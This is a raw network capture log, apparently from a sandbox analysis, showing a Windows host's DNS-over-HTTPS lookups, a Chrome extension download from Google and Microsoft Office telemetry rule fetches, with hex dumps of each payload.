2024-11-25 06:53:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 06:53:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 06:53:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7fb930d8e54328-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 06:53:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 03 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49855	162.159.61.3	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 06:53:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 06:53:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 06:53:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7fb930d80e437a-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 06:53:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 b0 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49852	172.217.19.225	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:44 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:45 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5isHQgmb4u0tVksA5hf1k3MbnVznHKmZB6lTKqoNZctsPSRpHdFo-Oey6vXSF6fQvBhWylcQdPxw X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sun, 24 Nov 2024 16:45:00 GMT Expires: Mon, 24 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 50925 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 06:53:45 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-25 06:53:45 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-25 06:53:45 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-25 06:53:45 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-25 06:53:45 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-25 06:53:45 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-25 06:53:45 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-25 06:53:45 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-25 06:53:45 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-25 06:53:45 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:45 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:45 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 891407d0-301e-0096-28a6-3ee71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065345Z-178bfbc474bgvl54hC1NYCsfuw000000071g00000000a9y5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49873	13.107.246.63	443	7668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:45 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065345Z-174c587ffdftjz9shC1TEBsh9800000005bg00000000hyp9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:45 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 482df903-301e-005d-4bb5-3ee448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065345Z-178bfbc474btvfdfhC1NYCa2en000000072000000000ff4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:45 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b855c3e2-e01e-0051-540f-3e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065345Z-178bfbc474bnwsh4hC1NYC2ubs000000072g00000000er5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
